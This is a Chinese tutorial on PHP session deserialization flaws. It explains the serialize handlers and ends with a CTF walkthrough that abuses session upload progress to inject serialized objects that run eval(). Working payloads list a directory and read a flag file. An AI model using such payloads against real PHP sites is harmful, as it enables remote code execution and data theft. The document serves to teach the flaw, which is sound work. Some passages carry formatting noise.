詳細介紹PHP的session反序列化漏洞

本篇文章帶給大家了關於PHP的相關知識，其中主要介紹了關於session反序列化漏洞的相關問題，就是序列化儲存Session資料與反序列化讀取Session資料的方式不同導致Session反序列化漏洞，希望對大家有幫助。

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PHP session反序列化漏洞

PHP session反序列化漏洞，就是當【序列化儲存Session資料】與【反序列化讀取Session資料】的方式不同導致session反序列化漏洞的產生

什麼是session

官方Session定義：在電腦中，尤其是在網路應用中，稱為“會話控制」。 Session 物件儲存特定使用者會話所需的屬性及設定資訊。主要有以下特點：

• session儲存的位置是在伺服器端
• ##session通常是要配合cookie使用

因為HTTP的無狀態性，服務端產生了

session來識別目前的使用者狀態

本質上，

session就是一種可以維持伺服器端的資料儲存技術。即**session技術就是一種基於後端有別於資料庫的暫存資料的技術**

PHP session工作流程

以PHP為例，理解

session的原理

PHP腳本使用session_start()時開啟
1. session會話，會自動偵測PHPSESSID
   如果
   • Cookie中存在，取得PHPSESSID
   #如果
   • Cookie中不存在，建立一個PHPSESSID，並透過回應頭以Cookie形式儲存到瀏覽器
#初始化超全域變數
2. $_SESSION為一個空數組
PHP透過
3. PHPSESSID去指定位置（PHPSESSID檔案儲存位置）匹配對應的檔案
   存在該檔案：讀取檔案內容（透過反序列化方式），將資料儲存到
   • $_SESSION中
   不存在該檔案：session_start()建立一個
   • PHPSESSID命名檔案

##程式執行結束，將$_SESSION中儲存的所有資料序列化儲存到

PHPSESSID

對應的檔案中

具體原理圖： php.ini session配置

#php.ini裡面有較重要的session設定項PHP session序列化機制根據php.ini中的配置項，我們研究將$_SESSION中保存的所有資料序列化儲存到對應的檔案中，使用的三種不同的處理格式，即定義的三種引擎：

session.save_path="/tmp"      --设置session文件的存储位置 session.save_handler=files    --设定用户自定义存储函数，如果想使用PHP内置session存储机制之外的可以使用这个函数 session.auto_start= 0          --指定会话模块是否在请求开始时启动一个会话，默认值为 0，不启动 session.serialize_handler= php --定义用来序列化/反序列化的处理器名字，默认使用php   session.upload_progress.enabled= On --启用上传进度跟踪，并填充$ _SESSION变量，默认启用 session.upload_progress.cleanup= oN --读取所有POST数据（即完成上传）后立即清理进度信息，默认启用
PHPSESSID	session.serialize_handler

處理器對應的儲存格式

#php

鍵名稱＋ 豎線＋ 經過serialize( ) 函數反序列處理的值

php_binary鍵名的長度對應的ASCII 字元＋ 鍵名＋ 經過serialize() 函數反序列處理的值php_serialize (php>=5.5.4)

#經過serialize() 函數反序列處理的陣列

php處理器首先來看看預設#時候的序列化結果，程式碼如下為了方便查看，將session儲存目錄設定為session.save_path = "/www/php_session"PHPSESSID#1、檔案名稱

session.serialize_handler = php	<?php//ini_set(&#39;session.serialize_handler&#39;,&#39;php&#39;);session_start();$_SESSION[&#39;name&#39;] = $_GET[&#39;name&#39;];echo $_SESSION[&#39;name&#39;];?>
，	檔案如下

###檔案名稱###sess_mpnnbont606f50eb178na451od###，其中###mpnnbont606f50eb178na451od###就是後續請求頭中###Cookieookie####Cookie ##PHPSESSID###的值(如上圖瀏覽器中已儲存)######2、檔案內容######php處理器儲存格式############ ###鍵名稱######豎線######經過serialize() 函數反序列處理的值##################$_SESSION[ 'name']的鍵名：name######|######s:6:「harden」;###########

php_binary处理器

使用php_binary处理器，即session.serialize_handler = php_binary

<?phpini_set(&#39;session.serialize_handler&#39;,&#39;php_binary&#39;);session_start();# 为了方便ACSII显示，将键名设置为36个字符长度$_SESSION[&#39;namenamenamenamenamenamenamenamename&#39;] = $_GET[&#39;name&#39;];echo $_SESSION[&#39;namenamenamenamenamenamenamenamename&#39;];?>

由于三种方式PHPSESSID文件名都是一样的，这里只需要查看文件内容

键名的长度对应的 ASCII 字符	键名	经过 serialize() 函数反序列处理的值.
$	namenamenamenamenamenamenamenamename	s:6:“harden”;

php_serialize 处理器

使用php_binary处理器，即session.serialize_handler = php_serialize

<?phpini_set(&#39;session.serialize_handler&#39;,&#39;php_serialize&#39;);session_start();$_SESSION[&#39;name&#39;] = $_GET[&#39;name&#39;];echo $_SESSION[&#39;name&#39;];?>

文件内容即经过 serialize() 函数反序列处理的数组，a:1:{s:4:"name";s:6:"harden";}

session的反序列化漏洞利用

session的反序列化漏洞，就是利用php处理器和php_serialize处理器的存储格式差异而产生，通过具体的代码我们来看下漏洞出现的原因

漏洞成因

首先创建session.php，使用php_serialize处理器来存储session数据

<?phpini_set(&#39;session.serialize_handler&#39;,&#39;php_serialize&#39;);session_start();$_SESSION[&#39;session&#39;] = $_GET[&#39;session&#39;];echo $_SESSION[&#39;session&#39;];?>

test.php，使用默认php处理器来存储session数据

<?phpsession_start();class f4ke{
    public $name;
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      eval($this->name);
    }}$str = new f4ke();?>

接着，我们构建URL进行访问session.php：

http://www.session-serialize.com/session.php?session=|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}

打开PHPSESSID文件可看到序列化存储的内容

a:1:{s:7:"session";s:45:"|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}

漏洞分析：

在session.php程序执行，我们将|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}通过php_serialize处理器序列化保存成PHPSESSID文件；

由于浏览器中保存的PHPSESSID文件名不变，当我们访问test.php，session_start();找到PHPSESSID文件并使用php处理器反序列化文件内容，识别格式即

键名	竖线	经过 serialize() 函数反序列处理的值
a:1:{s:7:“session”;s:45:"	|	O:4:“f4ke”:1:{s:4:“name”;s:10:“phpinfo();”;}

php处理器会以|作为分隔符，将O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}反序列化，就会触发__wakeup()方法，最后对象销毁执行__destruct()方法中的eval()函数，相当于执行如下：

$_SESSION['session'] = new f4ke();$_SESSION['session']->name = 'phpinfo();';

我们访问test.php，即可直接执行phpinfo()函数

CTF例题：PHPINFO

<?php//A webshell is wait for youini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);session_start();class OowoO{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }}if(isset($_GET['phpinfo'])){
    $m = new OowoO();}else{
    highlight_string(file_get_contents('index.php'));}?>

我们可以看到ini_set('session.serialize_handler', 'php')，判断可能存在session反序列化漏洞，根据代码逻辑，访问URL加上phpinfo参数新建对象触发魔术方法执行phpinfo()函数，进一步查看session.serialize_handler配置

可见php.ini中session.serialize_handler = php_serialize，当前目录中被设置为session.serialize_handler = php，因此存在session反序列化利用的条件

补充知识

phpinfo文件中

local value(局部变量：作用于当前目录程序，会覆盖master value内容):php
master value(主变量：php.ini里面的内容):php_serialize

那么我们如何找到代码入口将利用代码写入到session文件？想要写入session文件就得想办法在$_SESSION变量中增加我们可控的输入点

补充知识

当检测Session 上传进度这一特性是开启状态，我们可以在客户端写一个文件上传的功能，文件上传的同时，POST一个与php.ini中设置的session.upload_progress.name同名变量PHP_SESSION_UPLOAD_PROGRESS，如下图，即可写入$_SESSION，进一步序列化写入session文件

下面是官方给出的一个文件上传时监测进度例子:

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" /> <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" /></form>

其中name=""也可以设置为name="PHP_SESSION_UPLOAD_PROGRESS"

在session中存储的上传进度，如下所示:

<?php$_SESSION["upload_progress_123"] = array(
 "start_time" => 1234567890,   // The request time  请求时间
 "content_length" => 57343257, // POST content length 长度
 "bytes_processed" => 453489,  // Amount of bytes received and processed 已接收字节
 "done" => false,              // true when the POST handler has finished, successfully or not 是否上传完成
 "files" => array(//上传的文件
  0 => array(
   "field_name" => "file1",       // Name of the <input/> field  input中设定的变量名
   // The following 3 elements equals those in $_FILES             
   "name" => "foo.avi",           //文件名
   "tmp_name" => "/tmp/phpxxxxxx",
   "error" => 0,
   "done" => true,                // True when the POST handler has finished handling this file
   "start_time" => 1234567890,    // When this file has started to be processed
   "bytes_processed" => 57343250, // Amount of bytes received and processed for this file
  ),
  // An other file, not finished uploading, in the same request
  1 => array(
   "field_name" => "file2",
   "name" => "bar.avi",
   "tmp_name" => NULL,
   "error" => 0,
   "done" => false,
   "start_time" => 1234567899,
   "bytes_processed" => 54554,
  ),
 ));

其中，session中的field_name和name都是我们可控的输入点！

下面我们就开始解题拿到flag

首先，http://web.jarvisoj.com:32784/index.php?phpinfo查询设置

session.upload_progress.enabled = On   --表明允许上传进度跟踪，并填充$ _SESSION变量
session.upload_progress.cleanup = Off  --表明所有POST数据（即完成上传）后，不清理进度信息($ _SESSION变量)

即允许上传进度跟踪且结束后不清除数据，更有利使用session.upload_progress.name来将利用代码写入session文件

构造POST表单提交上传文件

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
 <input type="file" name="file" />
 <input type="submit" /></form>

构造序列化字符串作为payload（利用代码）

<?phpclass OowoO{
    public $mdzz=&#39;print_r(scandir(dirname(__FILE__)));&#39;;}$obj = new OowoO();echo serialize($obj);?>//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

为了防止"被转义，我们在payload中加入\

随意选择文件，点击表单提交，使用抓包工具burpsuite抓取请求包

并修改filename值为

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

发送请求包，代码执行过程分析：

因此直接执行print_r(scandir(dirname(__FILE__)));并返回

phpinfo查看当前目录，/opt/lampp/htdocs/

构造最终payload读取Here_1s_7he_fl4g_buT_You_Cannot_see.php文件内容，即flag

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

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